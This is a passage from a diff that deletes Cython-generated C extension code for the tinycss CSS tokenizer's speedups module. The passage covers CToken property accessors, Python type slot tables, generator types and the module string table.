PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_4line_1__set__(o, v); - } - else { - PyErr_SetString(PyExc_NotImplementedError, "__del__"); - return -1; - } -} - -static PyObject *__pyx_getprop_7tinycss_8speedups_6CToken_column(PyObject *o, void *x) { - return __pyx_pf_7tinycss_8speedups_6CToken_6column___get__(o); -} - -static int __pyx_setprop_7tinycss_8speedups_6CToken_column(PyObject *o, PyObject *v, void *x) { - if (v) { - return __pyx_pf_7tinycss_8speedups_6CToken_6column_1__set__(o, v); - } - else { - PyErr_SetString(PyExc_NotImplementedError, "__del__"); - return -1; - } -} - -static PyMethodDef __pyx_methods_7tinycss_8speedups_CToken[] = { - {__Pyx_NAMESTR("as_css"), (PyCFunction)__pyx_pf_7tinycss_8speedups_6CToken_1as_css, METH_NOARGS, __Pyx_DOCSTR(__pyx_doc_7tinycss_8speedups_6CToken_1as_css)}, - {0, 0, 0, 0} -}; - -static struct PyGetSetDef __pyx_getsets_7tinycss_8speedups_CToken[] = { - {(char *)"type", __pyx_getprop_7tinycss_8speedups_6CToken_type, __pyx_setprop_7tinycss_8speedups_6CToken_type, 0, 0}, - {(char *)"_as_css", __pyx_getprop_7tinycss_8speedups_6CToken__as_css, __pyx_setprop_7tinycss_8speedups_6CToken__as_css, 0, 0}, - {(char *)"value", __pyx_getprop_7tinycss_8speedups_6CToken_value, __pyx_setprop_7tinycss_8speedups_6CToken_value, 0, 0}, - {(char *)"unit", __pyx_getprop_7tinycss_8speedups_6CToken_unit, __pyx_setprop_7tinycss_8speedups_6CToken_unit, 0, 0}, - {(char *)"line", __pyx_getprop_7tinycss_8speedups_6CToken_line, __pyx_setprop_7tinycss_8speedups_6CToken_line, 0, 0}, - {(char *)"column", __pyx_getprop_7tinycss_8speedups_6CToken_column, __pyx_setprop_7tinycss_8speedups_6CToken_column, 0, 0}, - {0, 0, 0, 0, 0} -}; - -static PyNumberMethods __pyx_tp_as_number_CToken = { - 0, /*nb_add*/ - 0, /*nb_subtract*/ - 0, /*nb_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_divide*/ - #endif - 0, /*nb_remainder*/ - 0, /*nb_divmod*/ - 0, /*nb_power*/ - 0, /*nb_negative*/ - 0, /*nb_positive*/ - 0, /*nb_absolute*/ - 0, /*nb_nonzero*/ - 0, /*nb_invert*/ - 0, /*nb_lshift*/ - 0, /*nb_rshift*/ - 0, /*nb_and*/ - 0, /*nb_xor*/ - 0, /*nb_or*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_coerce*/ - #endif - 0, /*nb_int*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_long*/ - #else - 0, /*reserved*/ - #endif - 0, /*nb_float*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_oct*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*nb_hex*/ - #endif - 0, /*nb_inplace_add*/ - 0, /*nb_inplace_subtract*/ - 0, /*nb_inplace_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_inplace_divide*/ - #endif - 0, /*nb_inplace_remainder*/ - 0, /*nb_inplace_power*/ - 0, /*nb_inplace_lshift*/ - 0, /*nb_inplace_rshift*/ - 0, /*nb_inplace_and*/ - 0, /*nb_inplace_xor*/ - 0, /*nb_inplace_or*/ - 0, /*nb_floor_divide*/ - 0, /*nb_true_divide*/ - 0, /*nb_inplace_floor_divide*/ - 0, /*nb_inplace_true_divide*/ - #if PY_VERSION_HEX >= 0x02050000 - 0, /*nb_index*/ - #endif -}; - -static PySequenceMethods __pyx_tp_as_sequence_CToken = { - 0, /*sq_length*/ - 0, /*sq_concat*/ - 0, /*sq_repeat*/ - 0, /*sq_item*/ - 0, /*sq_slice*/ - 0, /*sq_ass_item*/ - 0, /*sq_ass_slice*/ - 0, /*sq_contains*/ - 0, /*sq_inplace_concat*/ - 0, /*sq_inplace_repeat*/ -}; - -static PyMappingMethods __pyx_tp_as_mapping_CToken = { - 0, /*mp_length*/ - 0, /*mp_subscript*/ - 0, /*mp_ass_subscript*/ -}; - -static PyBufferProcs __pyx_tp_as_buffer_CToken = { - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getreadbuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getwritebuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getsegcount*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getcharbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_getbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_releasebuffer*/ - #endif -}; - -static PyTypeObject __pyx_type_7tinycss_8speedups_CToken = { - PyVarObject_HEAD_INIT(0, 0) - __Pyx_NAMESTR("tinycss.speedups.CToken"), /*tp_name*/ - sizeof(struct __pyx_obj_7tinycss_8speedups_CToken), /*tp_basicsize*/ - 0, /*tp_itemsize*/ - __pyx_tp_dealloc_7tinycss_8speedups_CToken, /*tp_dealloc*/ - 0, /*tp_print*/ - 0, /*tp_getattr*/ - 0, /*tp_setattr*/ - #if PY_MAJOR_VERSION < 3 - 0, /*tp_compare*/ - #else - 0, /*reserved*/ - #endif - __pyx_pf_7tinycss_8speedups_6CToken_2__repr__, /*tp_repr*/ - &__pyx_tp_as_number_CToken, /*tp_as_number*/ - &__pyx_tp_as_sequence_CToken, /*tp_as_sequence*/ - &__pyx_tp_as_mapping_CToken, /*tp_as_mapping*/ - 0, /*tp_hash*/ - 0, /*tp_call*/ - 0, /*tp_str*/ - 0, /*tp_getattro*/ - 0, /*tp_setattro*/ - &__pyx_tp_as_buffer_CToken, /*tp_as_buffer*/ - Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE|Py_TPFLAGS_HAVE_GC, /*tp_flags*/ - __Pyx_DOCSTR("A token built by the Cython speedups. Identical to\n :class:`~.token_data.Token`.\n\n "), /*tp_doc*/ - __pyx_tp_traverse_7tinycss_8speedups_CToken, /*tp_traverse*/ - __pyx_tp_clear_7tinycss_8speedups_CToken, /*tp_clear*/ - 0, /*tp_richcompare*/ - 0, /*tp_weaklistoffset*/ - 0, /*tp_iter*/ - 0, /*tp_iternext*/ - __pyx_methods_7tinycss_8speedups_CToken, /*tp_methods*/ - 0, /*tp_members*/ - __pyx_getsets_7tinycss_8speedups_CToken, /*tp_getset*/ - 0, /*tp_base*/ - 0, /*tp_dict*/ - 0, /*tp_descr_get*/ - 0, /*tp_descr_set*/ - 0, /*tp_dictoffset*/ - __pyx_pf_7tinycss_8speedups_6CToken___init__, /*tp_init*/ - 0, /*tp_alloc*/ - __pyx_tp_new_7tinycss_8speedups_CToken, /*tp_new*/ - 0, /*tp_free*/ - 0, /*tp_is_gc*/ - 0, /*tp_bases*/ - 0, /*tp_mro*/ - 0, /*tp_cache*/ - 0, /*tp_subclasses*/ - 0, /*tp_weaklist*/ - 0, /*tp_del*/ - #if PY_VERSION_HEX >= 0x02060000 - 0, /*tp_version_tag*/ - #endif -}; - -static PyObject *__pyx_tp_new_7tinycss_8speedups___pyx_Generator(PyTypeObject *t, PyObject *a, PyObject *k) { - struct __pyx_Generator_object *p; - PyObject *o = (*t->tp_alloc)(t, 0); - if (!o) return 0; - p = ((struct __pyx_Generator_object *)o); - p->exc_type = 0; - p->exc_value = 0; - p->exc_traceback = 0; - return o; -} - -static void __pyx_tp_dealloc_7tinycss_8speedups___pyx_Generator(PyObject *o) { - struct __pyx_Generator_object *p = (struct __pyx_Generator_object *)o; - Py_XDECREF(p->exc_type); - Py_XDECREF(p->exc_value); - Py_XDECREF(p->exc_traceback); - (*Py_TYPE(o)->tp_free)(o); -} - -static int __pyx_tp_traverse_7tinycss_8speedups___pyx_Generator(PyObject *o, visitproc v, void *a) { - int e; - struct __pyx_Generator_object *p = (struct __pyx_Generator_object *)o; - if (p->exc_type) { - e = (*v)(p->exc_type, a); if (e) return e; - } - if (p->exc_value) { - e = (*v)(p->exc_value, a); if (e) return e; - } - if (p->exc_traceback) { - e = (*v)(p->exc_traceback, a); if (e) return e; - } - return 0; -} - -static int __pyx_tp_clear_7tinycss_8speedups___pyx_Generator(PyObject *o) { - struct __pyx_Generator_object *p = (struct __pyx_Generator_object *)o; - PyObject* tmp; - tmp = ((PyObject*)p->exc_type); - p->exc_type = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->exc_value); - p->exc_value = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->exc_traceback); - p->exc_traceback = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - return 0; -} - -static PyMethodDef __pyx_methods_7tinycss_8speedups___pyx_Generator[] = { - {__Pyx_NAMESTR("send"), (PyCFunction)__Pyx_Generator_Send, METH_O, __Pyx_DOCSTR(0)}, - {__Pyx_NAMESTR("close"), (PyCFunction)__Pyx_Generator_Close, METH_NOARGS, __Pyx_DOCSTR(0)}, - {__Pyx_NAMESTR("throw"), (PyCFunction)__Pyx_Generator_Throw, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)}, - {0, 0, 0, 0} -}; - -static PyNumberMethods __pyx_tp_as_number___pyx_Generator = { - 0, /*nb_add*/ - 0, /*nb_subtract*/ - 0, /*nb_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_divide*/ - #endif - 0, /*nb_remainder*/ - 0, /*nb_divmod*/ - 0, /*nb_power*/ - 0, /*nb_negative*/ - 0, /*nb_positive*/ - 0, /*nb_absolute*/ - 0, /*nb_nonzero*/ - 0, /*nb_invert*/ - 0, /*nb_lshift*/ - 0, /*nb_rshift*/ - 0, /*nb_and*/ - 0, /*nb_xor*/ - 0, /*nb_or*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_coerce*/ - #endif - 0, /*nb_int*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_long*/ - #else - 0, /*reserved*/ - #endif - 0, /*nb_float*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_oct*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*nb_hex*/ - #endif - 0, /*nb_inplace_add*/ - 0, /*nb_inplace_subtract*/ - 0, /*nb_inplace_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_inplace_divide*/ - #endif - 0, /*nb_inplace_remainder*/ - 0, /*nb_inplace_power*/ - 0, /*nb_inplace_lshift*/ - 0, /*nb_inplace_rshift*/ - 0, /*nb_inplace_and*/ - 0, /*nb_inplace_xor*/ - 0, /*nb_inplace_or*/ - 0, /*nb_floor_divide*/ - 0, /*nb_true_divide*/ - 0, /*nb_inplace_floor_divide*/ - 0, /*nb_inplace_true_divide*/ - #if PY_VERSION_HEX >= 0x02050000 - 0, /*nb_index*/ - #endif -}; - -static PySequenceMethods __pyx_tp_as_sequence___pyx_Generator = { - 0, /*sq_length*/ - 0, /*sq_concat*/ - 0, /*sq_repeat*/ - 0, /*sq_item*/ - 0, /*sq_slice*/ - 0, /*sq_ass_item*/ - 0, /*sq_ass_slice*/ - 0, /*sq_contains*/ - 0, /*sq_inplace_concat*/ - 0, /*sq_inplace_repeat*/ -}; - -static PyMappingMethods __pyx_tp_as_mapping___pyx_Generator = { - 0, /*mp_length*/ - 0, /*mp_subscript*/ - 0, /*mp_ass_subscript*/ -}; - -static PyBufferProcs __pyx_tp_as_buffer___pyx_Generator = { - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getreadbuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getwritebuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getsegcount*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getcharbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_getbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_releasebuffer*/ - #endif -}; - -static PyTypeObject __pyx_Generator_type = { - PyVarObject_HEAD_INIT(0, 0) - __Pyx_NAMESTR("tinycss.speedups.__pyx_Generator"), /*tp_name*/ - sizeof(struct __pyx_Generator_object), /*tp_basicsize*/ - 0, /*tp_itemsize*/ - __pyx_tp_dealloc_7tinycss_8speedups___pyx_Generator, /*tp_dealloc*/ - 0, /*tp_print*/ - 0, /*tp_getattr*/ - 0, /*tp_setattr*/ - #if PY_MAJOR_VERSION < 3 - 0, /*tp_compare*/ - #else - 0, /*reserved*/ - #endif - 0, /*tp_repr*/ - &__pyx_tp_as_number___pyx_Generator, /*tp_as_number*/ - &__pyx_tp_as_sequence___pyx_Generator, /*tp_as_sequence*/ - &__pyx_tp_as_mapping___pyx_Generator, /*tp_as_mapping*/ - 0, /*tp_hash*/ - 0, /*tp_call*/ - 0, /*tp_str*/ - 0, /*tp_getattro*/ - 0, /*tp_setattro*/ - &__pyx_tp_as_buffer___pyx_Generator, /*tp_as_buffer*/ - Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC, /*tp_flags*/ - 0, /*tp_doc*/ - __pyx_tp_traverse_7tinycss_8speedups___pyx_Generator, /*tp_traverse*/ - __pyx_tp_clear_7tinycss_8speedups___pyx_Generator, /*tp_clear*/ - 0, /*tp_richcompare*/ - 0, /*tp_weaklistoffset*/ - PyObject_SelfIter, /*tp_iter*/ - __Pyx_Generator_Next, /*tp_iternext*/ - __pyx_methods_7tinycss_8speedups___pyx_Generator, /*tp_methods*/ - 0, /*tp_members*/ - 0, /*tp_getset*/ - 0, /*tp_base*/ - 0, /*tp_dict*/ - 0, /*tp_descr_get*/ - 0, /*tp_descr_set*/ - 0, /*tp_dictoffset*/ - 0, /*tp_init*/ - 0, /*tp_alloc*/ - __pyx_tp_new_7tinycss_8speedups___pyx_Generator, /*tp_new*/ - 0, /*tp_free*/ - 0, /*tp_is_gc*/ - 0, /*tp_bases*/ - 0, /*tp_mro*/ - 0, /*tp_cache*/ - 0, /*tp_subclasses*/ - 0, /*tp_weaklist*/ - 0, /*tp_del*/ - #if PY_VERSION_HEX >= 0x02060000 - 0, /*tp_version_tag*/ - #endif -}; - -static PyObject *__pyx_tp_new_7tinycss_8speedups___pyx_scope_struct__genexpr(PyTypeObject *t, PyObject *a, PyObject *k) { - struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p; - PyObject *o = __pyx_tp_new_7tinycss_8speedups___pyx_Generator(t, a, k); - if (!o) return 0; - p = ((struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o); - p->__pyx_v_i = 0; - p->__pyx_v_name = 0; - p->__pyx_v_regexp = 0; - p->__pyx_t_0 = 0; - p->__pyx_t_1 = 0; - return o; -} - -static void __pyx_tp_dealloc_7tinycss_8speedups___pyx_scope_struct__genexpr(PyObject *o) { - struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o; - Py_XDECREF(p->__pyx_v_i); - Py_XDECREF(p->__pyx_v_name); - Py_XDECREF(p->__pyx_v_regexp); - Py_XDECREF(p->__pyx_t_0); - Py_XDECREF(p->__pyx_t_1); - __pyx_tp_dealloc_7tinycss_8speedups___pyx_Generator(o); -} - -static int __pyx_tp_traverse_7tinycss_8speedups___pyx_scope_struct__genexpr(PyObject *o, visitproc v, void *a) { - int e; - struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o; - e = __pyx_tp_traverse_7tinycss_8speedups___pyx_Generator(o, v, a); if (e) return e; - if (p->__pyx_v_i) { - e = (*v)(p->__pyx_v_i, a); if (e) return e; - } - if (p->__pyx_v_name) { - e = (*v)(p->__pyx_v_name, a); if (e) return e; - } - if (p->__pyx_v_regexp) { - e = (*v)(p->__pyx_v_regexp, a); if (e) return e; - } - if (p->__pyx_t_0) { - e = (*v)(p->__pyx_t_0, a); if (e) return e; - } - if (p->__pyx_t_1) { - e = (*v)(p->__pyx_t_1, a); if (e) return e; - } - return 0; -} - -static int __pyx_tp_clear_7tinycss_8speedups___pyx_scope_struct__genexpr(PyObject *o) { - struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *p = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)o; - PyObject* tmp; - __pyx_tp_clear_7tinycss_8speedups___pyx_Generator(o); - tmp = ((PyObject*)p->__pyx_v_i); - p->__pyx_v_i = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->__pyx_v_name); - p->__pyx_v_name = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->__pyx_v_regexp); - p->__pyx_v_regexp = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->__pyx_t_0); - p->__pyx_t_0 = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - tmp = ((PyObject*)p->__pyx_t_1); - p->__pyx_t_1 = Py_None; Py_INCREF(Py_None); - Py_XDECREF(tmp); - return 0; -} - -static PyMethodDef __pyx_methods_7tinycss_8speedups___pyx_scope_struct__genexpr[] = { - {0, 0, 0, 0} -}; - -static PyNumberMethods __pyx_tp_as_number___pyx_scope_struct__genexpr = { - 0, /*nb_add*/ - 0, /*nb_subtract*/ - 0, /*nb_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_divide*/ - #endif - 0, /*nb_remainder*/ - 0, /*nb_divmod*/ - 0, /*nb_power*/ - 0, /*nb_negative*/ - 0, /*nb_positive*/ - 0, /*nb_absolute*/ - 0, /*nb_nonzero*/ - 0, /*nb_invert*/ - 0, /*nb_lshift*/ - 0, /*nb_rshift*/ - 0, /*nb_and*/ - 0, /*nb_xor*/ - 0, /*nb_or*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_coerce*/ - #endif - 0, /*nb_int*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_long*/ - #else - 0, /*reserved*/ - #endif - 0, /*nb_float*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_oct*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*nb_hex*/ - #endif - 0, /*nb_inplace_add*/ - 0, /*nb_inplace_subtract*/ - 0, /*nb_inplace_multiply*/ - #if PY_MAJOR_VERSION < 3 - 0, /*nb_inplace_divide*/ - #endif - 0, /*nb_inplace_remainder*/ - 0, /*nb_inplace_power*/ - 0, /*nb_inplace_lshift*/ - 0, /*nb_inplace_rshift*/ - 0, /*nb_inplace_and*/ - 0, /*nb_inplace_xor*/ - 0, /*nb_inplace_or*/ - 0, /*nb_floor_divide*/ - 0, /*nb_true_divide*/ - 0, /*nb_inplace_floor_divide*/ - 0, /*nb_inplace_true_divide*/ - #if PY_VERSION_HEX >= 0x02050000 - 0, /*nb_index*/ - #endif -}; - -static PySequenceMethods __pyx_tp_as_sequence___pyx_scope_struct__genexpr = { - 0, /*sq_length*/ - 0, /*sq_concat*/ - 0, /*sq_repeat*/ - 0, /*sq_item*/ - 0, /*sq_slice*/ - 0, /*sq_ass_item*/ - 0, /*sq_ass_slice*/ - 0, /*sq_contains*/ - 0, /*sq_inplace_concat*/ - 0, /*sq_inplace_repeat*/ -}; - -static PyMappingMethods __pyx_tp_as_mapping___pyx_scope_struct__genexpr = { - 0, /*mp_length*/ - 0, /*mp_subscript*/ - 0, /*mp_ass_subscript*/ -}; - -static PyBufferProcs __pyx_tp_as_buffer___pyx_scope_struct__genexpr = { - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getreadbuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getwritebuffer*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getsegcount*/ - #endif - #if PY_MAJOR_VERSION < 3 - 0, /*bf_getcharbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_getbuffer*/ - #endif - #if PY_VERSION_HEX >= 0x02060000 - 0, /*bf_releasebuffer*/ - #endif -}; - -static PyTypeObject __pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr = { - PyVarObject_HEAD_INIT(0, 0) - __Pyx_NAMESTR("tinycss.speedups.__pyx_scope_struct__genexpr"), /*tp_name*/ - sizeof(struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr), /*tp_basicsize*/ - 0, /*tp_itemsize*/ - __pyx_tp_dealloc_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_dealloc*/ - 0, /*tp_print*/ - 0, /*tp_getattr*/ - 0, /*tp_setattr*/ - #if PY_MAJOR_VERSION < 3 - 0, /*tp_compare*/ - #else - 0, /*reserved*/ - #endif - 0, /*tp_repr*/ - &__pyx_tp_as_number___pyx_scope_struct__genexpr, /*tp_as_number*/ - &__pyx_tp_as_sequence___pyx_scope_struct__genexpr, /*tp_as_sequence*/ - &__pyx_tp_as_mapping___pyx_scope_struct__genexpr, /*tp_as_mapping*/ - 0, /*tp_hash*/ - 0, /*tp_call*/ - 0, /*tp_str*/ - 0, /*tp_getattro*/ - 0, /*tp_setattro*/ - &__pyx_tp_as_buffer___pyx_scope_struct__genexpr, /*tp_as_buffer*/ - Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC, /*tp_flags*/ - 0, /*tp_doc*/ - __pyx_tp_traverse_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_traverse*/ - __pyx_tp_clear_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_clear*/ - 0, /*tp_richcompare*/ - 0, /*tp_weaklistoffset*/ - 0, /*tp_iter*/ - 0, /*tp_iternext*/ - __pyx_methods_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_methods*/ - 0, /*tp_members*/ - 0, /*tp_getset*/ - 0, /*tp_base*/ - 0, /*tp_dict*/ - 0, /*tp_descr_get*/ - 0, /*tp_descr_set*/ - 0, /*tp_dictoffset*/ - 0, /*tp_init*/ - 0, /*tp_alloc*/ - __pyx_tp_new_7tinycss_8speedups___pyx_scope_struct__genexpr, /*tp_new*/ - 0, /*tp_free*/ - 0, /*tp_is_gc*/ - 0, /*tp_bases*/ - 0, /*tp_mro*/ - 0, /*tp_cache*/ - 0, /*tp_subclasses*/ - 0, /*tp_weaklist*/ - 0, /*tp_del*/ - #if PY_VERSION_HEX >= 0x02060000 - 0, /*tp_version_tag*/ - #endif -}; - -static PyMethodDef __pyx_methods[] = { - {0, 0, 0, 0} -}; - -#if PY_MAJOR_VERSION >= 3 -static struct PyModuleDef __pyx_moduledef = { - PyModuleDef_HEAD_INIT, - __Pyx_NAMESTR("speedups"), - __Pyx_DOCSTR(__pyx_k_12), /* m_doc */ - -1, /* m_size */ - __pyx_methods /* m_methods */, - NULL, /* m_reload */ - NULL, /* m_traverse */ - NULL, /* m_clear */ - NULL /* m_free */ -}; -#endif - -static __Pyx_StringTabEntry __pyx_string_tab[] = { - {&__pyx_n_s_1, __pyx_k_1, sizeof(__pyx_k_1), 0, 0, 1, 1}, - {&__pyx_kp_u_11, __pyx_k_11, sizeof(__pyx_k_11), 0, 1, 0, 0}, - {&__pyx_n_s_13, __pyx_k_13, sizeof(__pyx_k_13), 0, 0, 1, 1}, - {&__pyx_kp_u_2, __pyx_k_2, sizeof(__pyx_k_2), 0, 1, 0, 0}, - {&__pyx_kp_u_3, __pyx_k_3, sizeof(__pyx_k_3), 0, 1, 0, 0}, - {&__pyx_n_s_4, __pyx_k_4, sizeof(__pyx_k_4), 0, 0, 1, 1}, - {&__pyx_kp_u_5, __pyx_k_5, sizeof(__pyx_k_5), 0, 1, 0, 0}, - {&__pyx_kp_u_7, __pyx_k_7, sizeof(__pyx_k_7), 0, 1, 0, 0}, - {&__pyx_kp_u_9, __pyx_k_9, sizeof(__pyx_k_9), 0, 1, 0, 0}, - {&__pyx_n_u__ATKEYWORD, __pyx_k__ATKEYWORD, sizeof(__pyx_k__ATKEYWORD), 0, 1, 0, 1}, - {&__pyx_n_u__BAD_COMMENT, __pyx_k__BAD_COMMENT, sizeof(__pyx_k__BAD_COMMENT), 0, 1, 0, 1}, - {&__pyx_n_u__BAD_STRING, __pyx_k__BAD_STRING, sizeof(__pyx_k__BAD_STRING), 0, 1, 0, 1}, - {&__pyx_n_u__COMMENT, __pyx_k__COMMENT, sizeof(__pyx_k__COMMENT), 0, 1, 0, 1}, - {&__pyx_n_u__DELIM, __pyx_k__DELIM, sizeof(__pyx_k__DELIM), 0, 1, 0, 1}, - {&__pyx_n_u__DIMENSION, __pyx_k__DIMENSION, sizeof(__pyx_k__DIMENSION), 0, 1, 0, 1}, - {&__pyx_n_s__FIND_NEWLINES, __pyx_k__FIND_NEWLINES, sizeof(__pyx_k__FIND_NEWLINES), 0, 0, 1, 1}, - {&__pyx_n_u__FUNCTION, __pyx_k__FUNCTION, sizeof(__pyx_k__FUNCTION), 0, 1, 0, 1}, - {&__pyx_n_u__HASH, __pyx_k__HASH, sizeof(__pyx_k__HASH), 0, 1, 0, 1}, - {&__pyx_n_u__IDENT, __pyx_k__IDENT, sizeof(__pyx_k__IDENT), 0, 1, 0, 1}, - {&__pyx_n_u__INTEGER, __pyx_k__INTEGER, sizeof(__pyx_k__INTEGER), 0, 1, 0, 1}, - {&__pyx_n_s__NEWLINE_UNESCAPE, __pyx_k__NEWLINE_UNESCAPE, sizeof(__pyx_k__NEWLINE_UNESCAPE), 0, 0, 1, 1}, - {&__pyx_n_u__NUMBER, __pyx_k__NUMBER, sizeof(__pyx_k__NUMBER), 0, 1, 0, 1}, - {&__pyx_n_u__PERCENTAGE, __pyx_k__PERCENTAGE, sizeof(__pyx_k__PERCENTAGE), 0, 1, 0, 1}, - {&__pyx_n_s__SIMPLE_UNESCAPE, __pyx_k__SIMPLE_UNESCAPE, sizeof(__pyx_k__SIMPLE_UNESCAPE), 0, 0, 1, 1}, - {&__pyx_n_u__STRING, __pyx_k__STRING, sizeof(__pyx_k__STRING), 0, 1, 0, 1}, - {&__pyx_n_s__TOKEN_DISPATCH, __pyx_k__TOKEN_DISPATCH, sizeof(__pyx_k__TOKEN_DISPATCH), 0, 0, 1, 1}, - {&__pyx_n_s__UNICODE_UNESCAPE, __pyx_k__UNICODE_UNESCAPE, sizeof(__pyx_k__UNICODE_UNESCAPE), 0, 0, 1, 1}, - {&__pyx_n_u__URI, __pyx_k__URI, sizeof(__pyx_k__URI), 0, 1, 0, 1}, - {&__pyx_n_s____main__, __pyx_k____main__, sizeof(__pyx_k____main__), 0, 0, 1, 1}, - {&__pyx_n_s____test__, __pyx_k____test__, sizeof(__pyx_k____test__), 0, 0, 1, 1}, - {&__pyx_n_s__column, __pyx_k__column, sizeof(__pyx_k__column), 0, 0, 1, 1}, - {&__pyx_n_s__css_source, __pyx_k__css_source, sizeof(__pyx_k__css_source), 0, 0, 1, 1}, - {&__pyx_n_s__css_value, __pyx_k__css_value, sizeof(__pyx_k__css_value), 0, 0, 1, 1}, - {&__pyx_n_s__end, __pyx_k__end, sizeof(__pyx_k__end), 0, 0, 1, 1}, - {&__pyx_n_s__enumerate, __pyx_k__enumerate, sizeof(__pyx_k__enumerate), 0, 0, 1, 1}, - {&__pyx_n_s__format, __pyx_k__format, sizeof(__pyx_k__format), 0, 0, 1, 1}, - {&__pyx_n_s__group, __pyx_k__group, sizeof(__pyx_k__group), 0, 0, 1, 1}, - {&__pyx_n_s__ignore_comments, __pyx_k__ignore_comments, sizeof(__pyx_k__ignore_comments), 0, 0, 1, 1}, - {&__pyx_n_s__is_container, __pyx_k__is_container, sizeof(__pyx_k__is_container), 0, 0, 1, 1}, - {&__pyx_n_s__line, __pyx_k__line, sizeof(__pyx_k__line), 0, 0, 1, 1}, - {&__pyx_n_s__lower, __pyx_k__lower, sizeof(__pyx_k__lower), 0, 0, 1, 1}, - {&__pyx_n_s__ord, __pyx_k__ord, sizeof(__pyx_k__ord), 0, 0, 1, 1}, - {&__pyx_n_s__token_data, __pyx_k__token_data, sizeof(__pyx_k__token_data), 0, 0, 1, 1}, - {&__pyx_n_s__tokenize_flat, __pyx_k__tokenize_flat, sizeof(__pyx_k__tokenize_flat), 0, 0, 1, 1}, - {&__pyx_n_s__type_, __pyx_k__type_, sizeof(__pyx_k__type_), 0, 0, 1, 1}, - {&__pyx_n_s__unit, __pyx_k__unit, sizeof(__pyx_k__unit), 0, 0, 1, 1}, - {&__pyx_n_s__value, __pyx_k__value, sizeof(__pyx_k__value), 0, 0, 1, 1}, - {0, 0, 0, 0, 0, 0, 0} -}; -static int __Pyx_InitCachedBuiltins(void) { - __pyx_builtin_enumerate = __Pyx_GetName(__pyx_b, __pyx_n_s__enumerate); if (!__pyx_builtin_enumerate) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_builtin_ord = __Pyx_GetName(__pyx_b, __pyx_n_s__ord); if (!__pyx_builtin_ord) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - return 0; - __pyx_L1_error:; - return -1; -} - -static int __Pyx_InitCachedConstants(void) { - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants"); - - /* "tinycss/speedups.pyx":130 - * unit = None - * if type_ == DIMENSION: - * value = match.group(1) # <<<<<<<<<<<<<< - * value = float(value) if '.' in value else int(value) 